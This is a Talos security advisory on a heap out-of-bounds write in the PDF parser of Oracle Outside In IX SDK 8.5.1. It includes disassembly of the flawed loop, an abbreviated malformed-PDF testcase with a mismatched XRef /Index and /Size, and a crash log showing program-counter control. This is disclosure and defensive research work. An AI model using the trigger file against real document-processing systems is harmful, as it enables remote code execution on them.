Talos Vulnerability Report


Oracle IOT IX SDK libvs_pdf XRef Index Code Execution Vulnerability

April 19, 2016
CVE Number



A vulnerability in PDF parser of the IX SDK exists that allows an out of bounds heap memory overwrite potentially leading to remote code execution.


Outside In IX sdk 8.5.1.




While parsing a PDF file which contains an object of type XRef, values from /Index entry are used when handling the decoded stream. A malformed PDF file with many objects specified by /Index entry can lead to memory overwrite past the ends of the allocated buffer overwriting adjacent heap chunks.

Technical information below: The vulnerability is located in sub_B74EB0EE function in libvs_pdf.so (image base is at 0xB74BF000). A heap structure is being iterated over in 16 byte increments starting at the following code:


.text:B74EC5D6                 mov     eax, [esp+0AFCh+var_A58]
.text:B74EC5DD                 shl     eax, 4
.text:B74EC5E0                 lea     eax, [edx+eax]
.text:B74EC5E3                 lea     edi, [eax+10h] 				[1]
.text:B74EC5E6                 mov     [esp+0AFCh+var_A38], 0
.text:B74EC5F1 loc_B74EC5F1:
.text:B74EC5F1                 cmp     word ptr [edi-2], 0
.text:B74EC5F6                 jnz     loc_B74EC856
.text:B74EC5FC                 cmp     [esp+0AFCh+var_A61], 0
.text:B74EC604                 jnz     loc_B74EC7FA
.text:B74EC60A                 mov     word ptr [edi-4], 1 			[2]
.text:B74EC610 loc_B74EC610:
.text:B74EC610                 mov     edx, [esp+0AFCh+var_A40]
.text:B74EC617                 mov     eax, esi
.text:B74EC619                 call    sub_B74C40A6
.text:B74EC61E                 mov     [edi-0Ch], eax 				[3]
.text:B74EC621                 add     esi, [esp+0AFCh+var_AD4]
.text:B74EC625                 cmp     [esp+0AFCh+var_A63], 0
.text:B74EC62D                 jnz     loc_B74EC7E5
.text:B74EC633                 mov     dword ptr [edi-8], 0 		[4]


.text:B74EC640                 add     [esp+0AFCh+var_A38], 1
.text:B74EC648                 add     edi, 10h 					[5]
.text:B74EC64B                 mov     eax, [esp+0AFCh+var_A50]
.text:B74EC652                 sub     eax, [esp+0AFCh+var_A58]
.text:B74EC659                 cmp     [esp+0AFCh+var_A38], eax
.text:B74EC660                 jnz     short loc_B74EC5F1			[6]

In this code excerpt, initial pointer to the structure being iterated over is derived from eax into edi at [1]. At [2], [3] and [4] depending on the branch taken, different values are written at memory address pointed to by edi with an offset. At [5], edi is incremented and at [6] execution jumps back to the begining of the loop. The number of times the loop is executed is bounded by number of objects specified in the /Index entry.

An abbrevIated version of the crashing testcase:

%PDF-1.6 %
 1 0 obj <<
        /Index[40 20]
        /Length 55
        /Size 6
        /W[0 1 0]>>
` In this sample PDF file, /Size of 6 is specified but /Index states that object stream contains references to 20 objects starting from object number 40. The supplied minimized testcase triggers the vulnerability and results in heap corruption and a function pointer overwrite. This function pointer is later dereferenced resulting in a direct program counter control.

Starting program: /home/ea/oit_pdf/sdk/demo/ixsample trigger asd
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
EAX: 0x41454145 ('EAEA')
EBX: 0xb7af5b54 --> 0x36b98c
ECX: 0x1
EDX: 0x804eaf0 --> 0x0
ESI: 0xbfffd298 --> 0xa ('\n')
EDI: 0x80b6b68 (0x080b6b68)
EBP: 0xb74eec64 ("Prev")
ESP: 0xbfffd23c --> 0xb78673ce (mov
EIP: 0x41454145 ('EAEA')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT
direction overflow)
Invalid $PC address: 0x41454145
edx,DWORD PTR [edi+0x10])
0000| 0xbfffd23c --> 0xb78673ce (mov    edx,DWORD PTR [edi+0x10])
0004| 0xbfffd240 --> 0xb74eec64 ("Prev")
0008| 0xbfffd244 --> 0x0
0012| 0xbfffd248 --> 0xbfffd274 --> 0x0
0016| 0xbfffd24c --> 0xb74f6998 --> 0x3787c
0020| 0xbfffd250 --> 0xbfffd298 --> 0xa ('\n')
0024| 0xbfffd254 --> 0xbfffdd90 --> 0x0
0028| 0xbfffd258 --> 0xb74eec64 ("Prev")
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41454145 in ?? ()
` The vulnerability can be triggered by the `ixsample` program supplied with the SDK.


2016-02-09 - Vendor Notification
2016-04-19 - Public Release


Discovered by Aleksandar Nikolic of Cisco Talos.